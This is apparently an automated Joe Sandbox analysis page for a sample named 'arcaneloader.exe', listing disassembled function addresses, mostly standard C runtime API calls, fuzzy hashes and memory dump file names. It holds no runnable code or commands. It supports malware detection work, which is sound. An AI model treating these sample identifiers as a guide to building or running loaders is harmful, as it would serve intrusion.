Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66a879987149e2b380fb8d0fb6e696a69d725de9a0541ecce2665ff08267de58
Instruction ID: 9bea7a94564de7870d743afb0d27ddc00f0ac8e9908ee15c787a3bd2a72f6959
Opcode Fuzzy Hash: 66a879987149e2b380fb8d0fb6e696a69d725de9a0541ecce2665ff08267de58
Instruction Fuzzy Hash: 6232B176E446848FEB018ABCC4A53DF6FF28B6B334F2A1719C5A46F3D6D917440A8B50

Function 00DC34D0 Relevance: .6, Instructions: 607COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2147091199.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.2147068779.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147128654.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147155361.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147182577.0000000000DDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147268087.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147317395.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147383554.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_arcaneloader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3947b91e28bdc4a4f8a9e9cac0b1d618037a9a0517b49c3a1eb3ae4ccb654ad4
Instruction ID: cdf7a21b2dd592eb652bbd398c66529e4ce0b018ce177c6b1e56abf1234094a5
Opcode Fuzzy Hash: 3947b91e28bdc4a4f8a9e9cac0b1d618037a9a0517b49c3a1eb3ae4ccb654ad4
Instruction Fuzzy Hash: 3002A177A916504FEF01497CC8B83DB1BE747A7735F2A672ACAB05B2E2C55B000E9B50

Function 00DBF980 Relevance: .5, Instructions: 456COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2147091199.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.2147068779.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147128654.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147155361.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147182577.0000000000DDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147268087.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147317395.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147383554.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_arcaneloader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f33a063f55e786b5dcc5f2fa27299d93101ace126383c6c7f0e67dbf6dc5036c
Instruction ID: e1b84b21c67c5b420d3dab82c25b1f6b1477b2e708472eba3f0e8e9158290bc4
Opcode Fuzzy Hash: f33a063f55e786b5dcc5f2fa27299d93101ace126383c6c7f0e67dbf6dc5036c
Instruction Fuzzy Hash: 0CE11B72A505508FDF008A7CC8A93DF2FE2476B334F2A2726D9B4AF7D2D65744095B60

Function 00DBBD50 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2147091199.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.2147068779.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147128654.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147155361.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147182577.0000000000DDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147268087.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147317395.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147383554.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_arcaneloader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52b1ef97265a5e021dc969116d9572a748967ae696cddb2c31dcd57116f9955d
Instruction ID: 0ae6a6f7ec90a90641f620a6071285543772567186163c559a337e616de80c8e
Opcode Fuzzy Hash: 52b1ef97265a5e021dc969116d9572a748967ae696cddb2c31dcd57116f9955d
Instruction Fuzzy Hash: 12D06C3A645A58AFC210CF49E840D41F7A8FB89670B164466EA0893B20C331F811CAE0

Function 00DC90D3 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00DC91F2
___TypeMatch.LIBVCRUNTIME ref: 00DC9300
CatchIt.LIBVCRUNTIME ref: 00DC9351
_UnwindNestedFrames.LIBCMT ref: 00DC9452
CallUnexpected.LIBVCRUNTIME ref: 00DC946D

Strings

csm, xrefs: 00DC9229
csm, xrefs: 00DC917D
csm, xrefs: 00DC9110

Memory Dump Source

Source File: 00000000.00000002.2147091199.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.2147068779.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147128654.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147155361.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147182577.0000000000DDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147268087.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147317395.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147383554.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_arcaneloader.jbxd

Similarity

API ID: CallCatchFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 4119006552-393685449
Opcode ID: f3221aabbb005c328a2b67b0b689f6412f16c7edc7dced675bdc38a9b6f32818
Instruction ID: f3bd29cb3a248a5f28ff23c6c37f826e9f355f7a34a9f8c83014e68ea1cae416
Opcode Fuzzy Hash: f3221aabbb005c328a2b67b0b689f6412f16c7edc7dced675bdc38a9b6f32818
Instruction Fuzzy Hash: 36B1793180020AEFCF19DFA4D899EAEF7B5EF04310B58415EE8116B256C731EA52CBB5

Function 00DD0308 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(034A4DC0,034A4DC0,00000000,7FFFFFFF,?,00DD02F3,034A4DC0,034A4DC0,00000000,034A4DC0,?,?,?,?,034A4DC0,00000000), ref: 00DD03AE
__alloca_probe_16.LIBCMT ref: 00DD0469
__alloca_probe_16.LIBCMT ref: 00DD04F8
__freea.LIBCMT ref: 00DD0543
__freea.LIBCMT ref: 00DD0549
__freea.LIBCMT ref: 00DD057F
__freea.LIBCMT ref: 00DD0585
__freea.LIBCMT ref: 00DD0595

Memory Dump Source

Source File: 00000000.00000002.2147091199.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.2147068779.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147128654.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147155361.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147182577.0000000000DDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147268087.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147317395.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147383554.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_arcaneloader.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: ae34385eac750efcc8e045489f8372769108197d4d6e5a4a873fc05b3aaa53ab
Instruction ID: c7dd95b3e1c1cbb5417dae4e3bece374aa316b24755b2148788f6ab74198d99a
Opcode Fuzzy Hash: ae34385eac750efcc8e045489f8372769108197d4d6e5a4a873fc05b3aaa53ab
Instruction Fuzzy Hash: B4719272900246ABDF219EA4A842FAE7FB9DFC9310F18055BED55A7381E775DD008B70

Function 00DC6130 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00DC6167
___except_validate_context_record.LIBVCRUNTIME ref: 00DC616F
_ValidateLocalCookies.LIBCMT ref: 00DC61F8
__IsNonwritableInCurrentImage.LIBCMT ref: 00DC6223
_ValidateLocalCookies.LIBCMT ref: 00DC6278

Strings

csm, xrefs: 00DC620D

Memory Dump Source

Source File: 00000000.00000002.2147091199.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.2147068779.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147128654.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147155361.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147182577.0000000000DDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147268087.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147317395.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147383554.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_arcaneloader.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: c502f363746e5750f7eb2209ed38b7527fc22a2c59c58d55f767665b3e1a25b2
Instruction ID: baa34977bbfe2d982483de8172dc7703e90a541556c951a917bec9650e2c831f
Opcode Fuzzy Hash: c502f363746e5750f7eb2209ed38b7527fc22a2c59c58d55f767665b3e1a25b2
Instruction Fuzzy Hash: 80418334A0021AEBCF10DF69C855F9EBBA5EF45314F18815EE815AB352D731EA05CBB1

Function 00DC883A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00DC8831,00DC5F0D,00DC55A4), ref: 00DC8848
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00DC8856
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00DC886F
SetLastError.KERNEL32(00000000,00DC8831,00DC5F0D,00DC55A4), ref: 00DC88C1

Memory Dump Source

Source File: 00000000.00000002.2147091199.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.2147068779.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147128654.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147155361.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147182577.0000000000DDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147268087.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147317395.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147383554.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_arcaneloader.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 6bc6a4226fe83af01f604e1150205cae216e588a40ad265c9d5fa45e2eb3f297
Instruction ID: bc0198a69c519071418abe71625078cd804847c60c5700ee0cac2fb97840f8a6
Opcode Fuzzy Hash: 6bc6a4226fe83af01f604e1150205cae216e588a40ad265c9d5fa45e2eb3f297
Instruction Fuzzy Hash: 3501B53211A3139DEA242AB4BC86F6A2765EF517B4365023FF010C76E1EF218C017274

Function 00DCCB54 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\arcaneloader.exe, xrefs: 00DCCB70

Memory Dump Source

Source File: 00000000.00000002.2147091199.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.2147068779.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147128654.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147155361.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147182577.0000000000DDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147268087.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147317395.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147383554.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_arcaneloader.jbxd

Similarity

API ID:
String ID: C:\Users\user\Desktop\arcaneloader.exe
API String ID: 0-3267672541
Opcode ID: ce3f377bd1131e099e7f39d55473c9374c2d173e214fd22cf1ee129ad6068452
Instruction ID: b8b64b6b8165deddbca5941780c5d62e5d308860d8b367aa7ed0bd5b45a1935f
Opcode Fuzzy Hash: ce3f377bd1131e099e7f39d55473c9374c2d173e214fd22cf1ee129ad6068452
Instruction Fuzzy Hash: EE21C271210207AFCB20AFA5CD82F2A77A9EF403A4704551DFA1CD7151D730EC419BB0

Function 00DC6F54 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,D6D5FCFF,?,?,00000000,00DD25EB,000000FF,?,00DC7015,00000002,?,00DC70B1,00DC83A0), ref: 00DC6F89
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00DC6F9B
FreeLibrary.KERNEL32(00000000,?,?,00000000,00DD25EB,000000FF,?,00DC7015,00000002,?,00DC70B1,00DC83A0), ref: 00DC6FBD

Strings

CorExitProcess, xrefs: 00DC6F93
mscoree.dll, xrefs: 00DC6F82

Memory Dump Source

Source File: 00000000.00000002.2147091199.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.2147068779.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147128654.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147155361.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147182577.0000000000DDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147268087.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147317395.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147383554.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_arcaneloader.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 8df06f3380ac59d06792f2e3e6700fab88e73b3a3510d5b24325358cd0fc221f
Instruction ID: 03d4b4e5e3459ac4a1a583b1ffa2130faace4379d8f4b37952234c9616b1549f
Opcode Fuzzy Hash: 8df06f3380ac59d06792f2e3e6700fab88e73b3a3510d5b24325358cd0fc221f
Instruction Fuzzy Hash: 00016231944719AFDB119F50DC09FAEBBB8FF44B25F04052AE811E2790DBB5D904CAB4

Function 00DCDF1D Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00DCDFA2
__alloca_probe_16.LIBCMT ref: 00DCE06B
__freea.LIBCMT ref: 00DCE0D2

Part of subcall function 00DCBC45: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00DC41E0,?,?,00DC1007,?,00DBFAB5), ref: 00DCBC77

__freea.LIBCMT ref: 00DCE0E5
__freea.LIBCMT ref: 00DCE0F2

Memory Dump Source

Source File: 00000000.00000002.2147091199.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.2147068779.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147128654.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147155361.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147182577.0000000000DDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147268087.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147317395.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147383554.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_arcaneloader.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 6be8c9c135ed4cd3ce4ee66044b334aa4e36f1ac16b5b95e06e775583ad34d61
Instruction ID: 26dc8e53a790a4cd911ca5249fce85a9d196047c87eceadac8337b2fd4e7b2ae
Opcode Fuzzy Hash: 6be8c9c135ed4cd3ce4ee66044b334aa4e36f1ac16b5b95e06e775583ad34d61
Instruction Fuzzy Hash: FB518DB2600257ABEB215E60CC82FBB7BAAEF44750B19452EF945D7141EBB1CC50E6B0

Function 00DC94F8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,00DC93FE,?,?,00000000,00000000,00000000,?), ref: 00DC951D
CatchIt.LIBVCRUNTIME ref: 00DC9603

Strings

MOC, xrefs: 00DC952F
RCC, xrefs: 00DC9537

Memory Dump Source

Source File: 00000000.00000002.2147091199.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.2147068779.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147128654.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147155361.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147182577.0000000000DDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147268087.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147317395.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147383554.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_arcaneloader.jbxd

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: a63669ea7c26ad67384342fdedf8440132dda7b59e048ac64e159eb27a6ecd4d
Instruction ID: 020b0d047f95a929d8fc9fab7d67e6e9f3cfbaf46c5fa7d9a943ab3dad85a5b9
Opcode Fuzzy Hash: a63669ea7c26ad67384342fdedf8440132dda7b59e048ac64e159eb27a6ecd4d
Instruction Fuzzy Hash: 4241367190020AAFCF16DF98C995EEEBBB5EF48304F188099F905A7261D735A950DB60

Function 00DCDC5E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00DCDCFA,00000000,?,00DDCCD0,?,?,?,00DCDC31,00000004,InitializeCriticalSectionEx,00DD46F8,00DD4700), ref: 00DCDC6B
GetLastError.KERNEL32(?,00DCDCFA,00000000,?,00DDCCD0,?,?,?,00DCDC31,00000004,InitializeCriticalSectionEx,00DD46F8,00DD4700,00000000,?,00DC971C), ref: 00DCDC75
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00DCDC9D

Strings

api-ms-, xrefs: 00DCDC82

Memory Dump Source

Source File: 00000000.00000002.2147091199.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.2147068779.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147128654.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147155361.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147182577.0000000000DDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147268087.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147317395.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147383554.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_arcaneloader.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 97581165e011446ee7df1e938ecc64b6adf033d89482b29bf4bffa3f1d2e1911
Instruction ID: 539e145d37cd73976ff6286b6199b0647ab5247c385f4350095ee8af228ff6dc
Opcode Fuzzy Hash: 97581165e011446ee7df1e938ecc64b6adf033d89482b29bf4bffa3f1d2e1911
Instruction Fuzzy Hash: FAE04830640306BFEF202B61DD06F593B5AAB00B54F244035F90DE91E1EBB3E811D578

Function 00DCE5E8 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(D6D5FCFF,00000000,00000000,?), ref: 00DCE64B

Part of subcall function 00DCD131: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,000000FF,?,?,00000000,?,?,00DC87B1,?,00000000,?), ref: 00DCD192

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00DCE89D
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00DCE8E3
GetLastError.KERNEL32 ref: 00DCE986

Memory Dump Source

Source File: 00000000.00000002.2147091199.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.2147068779.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147128654.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147155361.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147182577.0000000000DDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147268087.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147317395.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147383554.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_arcaneloader.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 0d49ad31a1d9cee5b83fa031f9b23030da5e4491e5f983165f8d5a3dcf2ea2d2
Instruction ID: 37034e598b144b05a9351c81658befe744e85b4a909ab2c9c97424389b73f3f9
Opcode Fuzzy Hash: 0d49ad31a1d9cee5b83fa031f9b23030da5e4491e5f983165f8d5a3dcf2ea2d2
Instruction Fuzzy Hash: 49D16AB5D0025A9FCB15CFA8C890AADBBB5FF09314F28452EE456EB351D630A942CF60

Function 00DC8EFC Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00DC8FC3
___AdjustPointer.LIBCMT ref: 00DC8FE6
___AdjustPointer.LIBCMT ref: 00DC9082

Memory Dump Source

Source File: 00000000.00000002.2147091199.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.2147068779.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147128654.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147155361.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147182577.0000000000DDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147268087.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147317395.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147383554.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_arcaneloader.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 846778c4e4b5f4b93282686fd91d59f5ed88d7336cd9f5767361546a4fad38ac
Instruction ID: c08e5173d081f92745898ffdeb569455aa9c87041f1080513b757ffe2d86e089
Opcode Fuzzy Hash: 846778c4e4b5f4b93282686fd91d59f5ed88d7336cd9f5767361546a4fad38ac
Instruction Fuzzy Hash: 7A510372605607AFEB298F54D855FBAB3A5FF40300F18012DE9458B291EB31EC80EBB0

Function 00DCC5B8 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 00DCD131: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,000000FF,?,?,00000000,?,?,00DC87B1,?,00000000,?), ref: 00DCD192

GetLastError.KERNEL32(?,?,?,00000000,00000000,?,00DCC95E,?,?,?,00000000), ref: 00DCC61C
__dosmaperr.LIBCMT ref: 00DCC623
GetLastError.KERNEL32(00000000,00DCC95E,?,?,00000000,?,?,?,00000000,00000000,?,00DCC95E,?,?,?,00000000), ref: 00DCC65D
__dosmaperr.LIBCMT ref: 00DCC664

Memory Dump Source

Source File: 00000000.00000002.2147091199.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.2147068779.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147128654.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147155361.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147182577.0000000000DDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147268087.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147317395.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147383554.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_arcaneloader.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 87844916a1b6b744991de371a2f3d593d74eff0664a85778042ec81be73de15a
Instruction ID: 79057b10d5cc6b9d47d8f3985c3534dff67bd3f1d49d57fb52b2e768cd64aa7f
Opcode Fuzzy Hash: 87844916a1b6b744991de371a2f3d593d74eff0664a85778042ec81be73de15a
Instruction Fuzzy Hash: 8021C171250307AF8B10AF618981F2AB7A8EF45364714A41DFA5DD3161D730EC418BB0

Function 00DCD22D Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00DCD235

Part of subcall function 00DCD131: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,000000FF,?,?,00000000,?,?,00DC87B1,?,00000000,?), ref: 00DCD192

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00DCD26D
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00DCD28D

Memory Dump Source

